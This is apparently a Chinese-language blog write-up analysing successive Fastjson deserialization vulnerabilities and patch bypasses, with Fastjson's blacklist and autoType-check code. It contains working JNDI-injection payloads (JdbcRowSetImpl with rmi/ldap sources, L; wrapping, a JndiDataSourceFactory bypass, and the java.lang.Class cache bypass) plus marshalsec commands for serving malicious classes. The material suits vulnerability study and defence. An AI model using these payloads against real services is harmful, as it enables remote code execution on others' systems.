讲漏洞前先来说下一些利用方式
来看下第一次漏洞的Poc,一个JNDI注入的利用
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
个人理解就是, JdbcRowSetImpl 这个类的 dataSourceName 支持传入一个rmi的源。
当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
当远程rmi服务找不到对应方法时,可以指定一个远程class让请求方去调用,从而去获取我们恶意构造的class文件,从而RCE。
还有过程类似的LDAP利用方式
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit","autoCommit":true}"
可以用 https://github.com/mbechler/marshalsec 很方便的启这两个服务
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8080/test/#Exploit
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Exploitt
需要注意的来了,这两种利用方式 有java版本限制 (一开始坑死我了)
JDK 6u132 , JDK 7u122 , JDK 8u113 之前。 JDK 11.0.1 、 8u191 、 7u201 、 6u211 之前。 因为java官方觉得让服务去请求远程的类的确是一个很危险的操作,所以在后来的版本中默认将这个功能关掉了。
可以看到ldap的利用范围是比rmi要大的,所以更推荐ldap的利用方式。
类似于Jackson,Fastjson中也支持指定类的反序列化,只需要在json的key中添加 @type 即可。
但是一开始Fastjson是默认支持这个属性的,就是默认就可以反序列化任意类,自然而然地漏洞也就来了。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
payload = "{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/", /"autoCommit/":true}";
JSONObject.parseObject(payload);
就可以成功反序列化RCE,无需别的前置条件
再运行上面那段代码就会爆出这条错误
跟进可以看到新增了 checkAutoType 这个函数
可以看到我们这里的操作是被黑名单给拦截了
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
不仅如此,fastjson还默认关闭了反序列化任意类的操作,需要手动开启才行。
https://github.com/alibaba/fastjson/wiki/enable_autotype
这时候出现了第一次补丁的绕过(实际跟着看了下,发现其实好简单!)
在后面的 TypeUtils.loadClass 真正加载class类时,有这样一段代码
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
可以看到在黑名单检测之后,当开头有 [ 或者 L 和 ; 时会去掉这些字符,从而造成了黑名单的绕过
所以可以通过如下方式进行攻击,不过需要手动开启 autoType ,至少相较于第一版的危害范围要小一些。(实测用 [ 时解析会报错。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{/"@type/":/"Lcom.sun.rowset.JdbcRowSetImpl;/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/", /"autoCommit/":true}";
JSONObject.parseObject(payload);
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}
大致意思就是,假如开头和结尾是 L 和 ; 就将头和尾去掉,再进行黑名单验证
还将之前的黑名单验证变成了hash的方式,防止安全人员进行研究
感觉这个确实好好绕过,再加一层 L 和 ; 不就可以了。
LLcom.sun.rowset.JdbcRowSetImpl;;
由于上个补丁的愚蠢方式,所以很快又出了这个补丁。
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}
开头两个 LL 就会被抛出异常(好简洁暴力。。)
这回的绕过是黑名单被绕过,新增了个 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 的黑名单,由于在项目中使用的频率也较高,所以影响范围也比较大。
payload
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:9999/Exploit"}}
在后面的防御便是不断的添加黑名单列表,此时推荐大佬的项目,通过黑名单hash找到对应的类名
https://github.com/LeadroyaL/fastjson-blacklist
直到后来有一天,宁静的日子被打破,又出现了一个通杀洞,无需开启 autotype 通杀。(小声bb一句hw期间出了好多大洞
String payload = "{/"a/":{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"},/"b/":{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/",/"autoCommit/":true}}}";
JSONObject.parseObject(payload);
可以来看下这个json
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
据说其实这个payload一开始是被分为两段来打的,后来老哥们发现可以合成一段来发送,就避免了LB的干扰,导致payload打到不同的服务器。
可以一起来看下到底是怎么绕过 autotype 和黑名单验证的。
一开始反序列化的是 java.lang.Class 这个类,调试跟进可以看到是从 checkAutoType 这一段代码中获取到的类。
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
这个 deserializers 在一开始会对其中放入许多常用的类
private void initDeserializers() {
... // 太多了,就不贴了
}
然后在紧跟的代码中就直接返回了,还没到原本 autoTypeSupport 的判断。猜测本意是让Fastjson可以任意序列化一些基础的类。然后通过 java.lang.Class 获取到了 com.sun.rowset.JdbcRowSetImpl 类,然后重点来了。
在 loadClass 中,可以看到假如 cache 为true,就会把获取到的类缓存到 mapping 中(应该是为了提高效率)
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
然而这个 cache 在传入的时候默认就是 true
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
于是,触发到第二段payload的时候,在 checkAutoType 函数中,就直接从缓存中获取到了 com.sun.rowset.JdbcRowSetImpl 这个类
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
然后也是一样在还没有判断黑名单和 com.sun.rowset.JdbcRowSetImpl 的验证之前就return了。
将之前的 loadClass 中默认 cache 设置成了false。
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, false);
}
所以在第一次获取到 com.sun.rowset.JdbcRowSetImpl 这个类之后就不会缓存,到第二次的payload时也就取不到缓存的类,也就会进入到黑名单和 com.sun.rowset.JdbcRowSetImpl 的验证中了。